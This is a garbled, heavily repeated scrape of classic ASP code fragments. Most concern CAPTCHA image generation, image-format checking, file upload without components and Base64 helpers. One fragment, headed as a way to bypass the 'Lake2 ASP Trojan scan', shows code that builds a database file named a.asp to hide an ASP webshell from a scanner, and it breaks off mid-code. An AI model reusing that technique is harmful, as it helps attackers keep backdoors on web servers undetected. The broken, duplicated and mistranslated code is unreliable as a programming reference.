chrb

= falseEnd ifEnd Function'*************************************** ***********'Function ID: 0040 [generating the verification code image BMP]'Function name: grapcode'Usage: Generate Verification Code Image'Parameter: mzygcstr ---- the character of the image to be generated'Parameter: Noisy ---- noise rate (an integer greater than 0)'Parameter: bkcolor ---- pattern background color (Format: R | G | B)'Parameter: fncolor ---- Character Color (Format: R | G | B)'Parameter: nocolor ---- noise color

ASP output BMP [2005-03-06 12:04:25 | Author: flashsoft] Font Size: Big |In | Small Call Com_creatvalidcode ("Validcode") Sub Com_creatvalidcode (PSN) ' Author:layen ' qq:84815733 ' E-mail:support@ssaw.net ' Disable caching Response.Expires =-9999 Response.AddHeader "Pragma", "No-cache" Response.AddHeader "Cache-ctrol", "No-cache" Response.ContentType = "Image/bmp" Randomize Dim I, II, III Const Codds = 8 ' Odds of occurrence of miscellaneous points Const Camount = 36 ' text quantity Const

Call com_creatvalidcode ("validcode ") Sub com_creatvalidcode (PSN) 'Author: layen'Qq: 84815733'E-mail: support@ssaw.net 'Prohibit cachingResponse. expires =-9999Response. addheader "Pragma", "No-Cache"Response. addheader "cache-ctrol", "No-Cache"Response. contenttype = "image/BMP" Randomize Dim I, II, III Const codds = 8' probability of occurrence of miscellaneousConst camount = 36' text countConst cCode = "0123456789 abcdefghijklmnopqrstuvwxyz" 'Color data (character, background)Dim vcolordat

No component generates verification code-BMP formatCall com_creatvalidcode ("validcode ") Sub com_creatvalidcode (PSN) 'Author: layen'Qq: 84815733'E-mail: support@ssaw.NET 'Prohibit cachingResponse. expires =-9999Response. addheader "Pragma", "No-Cache"Response. addheader "cache-ctrol", "No-Cache"Response. contenttype = "image/BMP" Randomize Dim I, II, III Const codds = 8' probability of occurrence of miscellaneousConst camount = 36' text countConst cCode = "0123456789 abcdefghijklmnopqrstuvwxy

vdeltat = ABS (vdx) else vdeltat = ABS (vdy) For j = 1 to vdeltatSetdot margin (0) + vstartx + J * vdx/vdeltat, margin (2) + vstarty + J * vdy/vdeltatNext Vstartx = vstartx + vdx Vstarty = vstarty + vdyEnd ifNextEnd sub Public sub output () Response. expires =-9999Response. addheader "Pragma", "No-Cache"Response. addheader "cache-ctrol", "No-Cache"Response. contenttype = "image/GIF" 'File typeResponse. binarywrite chrb (ASC ("G")

ThenVLength = vDXElseVLength = vDY/Sin (vAngle)End IfVAngle = vAngle + (Rnd-0.5) * 2 * Angle * 3.14*2/100VDX = Int (Cos (vAngle) * vLength)VDY = Int (Sin (vAngle) * vLength)If Abs (vDX)> Abs (vDY) Then vDeltaT = Abs (vDX) Else vDeltaT = Abs (vDY)For j = 1 To vDeltaTSetDot Margin (0) + vStartX + j * vDX/vDeltaT, Margin (2) + vStartY + j * vDY/vDeltaTNextVStartX = vStartX + vDXVStartY = vStartY + vDYEnd IfNextEnd Sub Public Sub Output ()Response. Expires =-9999Response. AddHeader "pragma", "no-ca

(vAngle) * vLength) VDY = Int (Sin (vAngle) * vLength) If Abs (vDX)> Abs (vDY) Then vDeltaT = Abs (vDX) Else vDeltaT = Abs (vDY) For j = 1 To vDeltaT SetDot Margin (0) + vStartX + j * vDX/vDeltaT, Margin (2) + vStartY + j * vDY/vDeltaT Next VStartX = vStartX + vDX VStartY = vStartY + vDY End If Next End Sub Public Sub Output () Response. Expires =-9999 Response. AddHeader "pragma", "no-cache" Response. AddHeader "cache-ctrol", "no-cache" Response. ContentType = "image/gif" 'File type Response.

) + Vstartx + J * Vdx/vdeltat, margin (2) + Vstarty + J * Vdy/vdeltatNext Vstartx = Vstartx + vdx Vstarty = Vstarty + VdyEnd IfNextEnd Sub Public Sub Output () Response.Expires =-9999Response.AddHeader "Pragma", "No-cache"Response.AddHeader "Cache-ctrol", "No-cache"Response.ContentType = "Image/gif" ' File typeResponse.BinaryWrite CHRB (ASC ("G")) ChrB (ASC ("I"))

Vlength = Vdy/sin (vangle) End If ' Random rotation angle Vangle = Vangle + (Rnd-0.5) * 2 * Angle * 3.14 * 2/100 VDX = Int (Cos (vangle) * vlength) Vdy = Int (Sin (vangle) * vlength) If ABS (VDX) > abs (vdy) Then Vdeltat = ABS (VDX) Else Vdeltat = ABS (Vdy) For j = 1 to Vdeltat Setdot Margin (0) + Vstartx + J * Vdx/vdeltat, Margin (2) + Vstarty + J * Vdy/vdeltat Next Vstartx = Vstartx + VDX Vstarty = Vstarty + Vdy End If Next End Sub Public Sub Output () Response.Expires =-9999

number of valid points to be deleted each time (to avoid human recognition failures)Const trycount = 5' prevent attempts to delete valid points from exceeding the upper limit '----------- RandomizeDim I, II, III 'Prohibit cachingResponse. expires =-9999Response. addheader "Pragma", "No-Cache"Response. addheader "cache-ctrol", "No-Cache"Response. contenttype = "image/BMP" 'Number of colors? Character, background)Dim vcolordata (1)Vcolordata (0) = chrb

) + Vstarty + J * Vdy/vdeltatNext Vstartx = Vstartx + VDX Vstarty = Vstarty + VdyEnd IfNextEnd Sub Public Sub Output () Response.Expires =-9999Response.AddHeader "Pragma", "No-cache"Response.AddHeader "Cache-ctrol", "No-cache"Response.ContentType = "Image/gif" ' File typeResponse.BinaryWrite ChrB (ASC ("G")) ChrB (ASC ("I")) ChrB (ASC ("F"))' Version informatio

'----------- RandomizeDim I, ii, iii, flag, ActUnitWidth, ImgYuWidth, codeLen, ImgWidth, ImgHeightCodeLen = codeLenMin + cint (Rnd * (codeLenMax-codeLenMin ))If ImgWidth Mod 4 If ImgHeight 'Prohibit cachingResponse. Expires =-9999Response. AddHeader "Pragma", "no-cache"Response. AddHeader "cache-ctrol", "no-cache"Response. ContentType = "Image/BMP" 'Color data (character, background)Dim vColorData (1)VColorData (0) = ChrB (0)

) (2*i+1)-1) * vheight/100 VDX = Vendx-vstartx Vdy = Vendy-vstarty If VDX = 0 Then Vangle = SGN (vdy) * 3.14/2 Else Vangle = Atn (VDY/VDX) End If If Sin (Vangle) = 0 Then Vlength = VDX Else Vlength = Vdy/sin (vangle) End If Vangle = Vangle + (Rnd-0.5) * 2 * Angle * 3.14 * 2/100 VDX = Int (Cos (vangle) * vlength) Vdy = Int (Sin (vangle) * vlength) If ABS (VDX) > abs (vdy) Then Vdeltat = ABS (VDX) Else Vdeltat = ABS (Vdy) For j = 1 to Vdeltat Setdot Margin (0) + Vstartx + J * Vdx

; abs (vdy) Then Vdeltat = ABS (VDX) Else Vdeltat = ABS (Vdy)For j = 1 to VdeltatSetdot Margin (0) + Vstartx + J * Vdx/vdeltat, Margin (2) + Vstarty + J * Vdy/vdeltatNextVstartx = Vstartx + VDXVstarty = Vstarty + VdyEnd IfNextEnd SubPublic Sub Output ()Response.Expires =-9999Response.AddHeader "Pragma", "No-cache"Response.AddHeader "Cache-ctrol", "No-cache"Response.ContentType = "Image/gif"' File typeResponse.BinaryWrite ChrB (ASC ("G"))

Download savepic.asp '---------------------------------------return the IMAGE FORMAT-------------------- function Checkimageformat (checkdata) '--return:a,b,c (A is image format; B is height pixels; C is width pixels; D is color depth) Flag=0 ' ' 0 is not jpg/gif/png image; 1 is Jpg/gif/png '-------------------------------------------------------check jpg---------------- If Flag=0 Then TEMPSTR=LEFTB (checkdata,10) TSTR=CHRB (255) AMP;

Upload | no component | upload | no components ' When the table dropdowns has both a text field and a file field, we must set the form's encoding type to the ' Multipart/form-data ' type ' This time, the encoded file uploaded does not directly remove the values of the text field and the binary data of the file field, which requires splitting the form field ' There is a random separator between each form field in the uploaded data stream, the delimiter is invariant in the same stream, and the dif

Upload | no components ' When the table dropdowns has both a text field and a file field, we must set the form's encoding type to the ' Multipart/form-data ' type' This time, the encoded file uploaded does not directly remove the values of the text field and the binary data of the file field, which requires splitting the form field' There is a random separator between each form field in the uploaded data stream, the delimiter is invariant in the same stream, and the different flow delimiters are

Hanxiaolian To avoid lake2 ASP Webmaster Admin Assistant and write. A. Bypassing the Lake2 ASP Trojan scan Pony Copy Code code as follows: Set C = CreateObject ("ADOX.") Catalog ") C.create ("Provider=Microsoft.Jet.OLEDB.4.0;Data source=" server.mappath ("a.asp")) Set c = Nothing Cserver.mappath ("a.asp") Set Conn=server.createobject ("Adodb.connection") Conn.Open ConnStr Conn.execute ("CREATE Table Nomm (Nomuma oleobject)") Set Rs=server.createobject ("Adodb.recordset") Sql

Sbase_64_characters = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 + /"Sbase_64_characters = strunicode2ansi (sbase_64_characters) Function strunicodelen (ascontents)'Calculate the ANSI encoding length of the Unicode stringAscontents1 = "A" ascontentsLen1 = Len (ascontents1)K = 0For I = 1 to len1Asc1 = ASC (mid (ascontents1, I, 1 ))If asc1 If asc1> 255 thenK = K + 2ElseK = k + 1End ifNextStrunicodelen = K-1End Function Function strunicode2ansi (ascontents)'Convert a Unicode-e

Copy Code code as follows: Sbase_64_characters = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/" Sbase_64_characters = Strunicode2ansi (sbase_64_characters) Function Strunicodelen (ascontents) ' Calculates the length of the ANSI encoding of a Unicode string Ascontents1= "a" ascontents Len1=len (ASCONTENTS1) K=0 For I=1 to Len1 ASC1=ASC (Mid (ascontents1,i,1)) If Asc1If asc1>255 Then K=k+2 Else K=k+1 End If Next Strunicodelen=k-1 End Function Functio